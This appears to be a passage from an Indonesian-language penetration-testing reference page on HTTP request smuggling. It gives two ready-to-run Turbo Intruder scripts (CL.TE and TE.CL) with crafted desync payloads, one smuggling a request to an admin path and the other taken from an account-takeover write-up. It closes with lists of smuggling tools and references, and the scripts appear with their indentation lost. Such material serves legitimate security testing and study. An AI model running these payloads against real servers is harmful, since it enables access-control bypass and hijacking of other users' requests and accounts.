Apakah Anda menemukan kerentanannya HTTP Request Smuggling dan tidak tahu bagaimana cara mengeksploitasinya? Coba metode eksploitasi lainnya:
http response smuggling desync
Teknik Lain HTTP Request Smuggling
- Browser HTTP Request Smuggling (Client Side)
browser-http-request-smuggling.md
- Request Smuggling pada Downgrade HTTP/2
request-smuggling-in-http-2-downgrades.md
Skrip Turbo Intruder
CL.TE
Dari https://hipotermia.pw/bb/http-desync-idor
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar
0
GET /admin7 HTTP/1.1
X-Foo: k'''
engine.queue(attack)
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
TE.CL
Dari: https://hipotermia.pw/bb/http-desync-account-takeover
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked
46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15
kk
0
'''
engine.queue(attack)
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
Alat
- https://github.com/anshumanpattnaik/http-request-smuggling
- https://github.com/PortSwigger/http-request-smuggler
- https://github.com/gwen001/pentest-tools/blob/master/smuggler.py
- https://github.com/defparam/smuggler
- https://github.com/Moopinger/smugglefuzz
- https://github.com/bahruzjabiyev/t-reqs-http-fuzzer: This tool is a grammar-based HTTP Fuzzer useful to find weird request smuggling discrepancies.
Referensi
- https://portswigger.net/web-security/request-smuggling
- https://portswigger.net/web-security/request-smuggling/finding
- https://portswigger.net/web-security/request-smuggling/exploiting
- https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4
- https://github.com/haroonawanofficial/HTTP-Desync-Attack/
- https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html
- https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/
- https://portswigger.net/research/trace-desync-attack
- https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/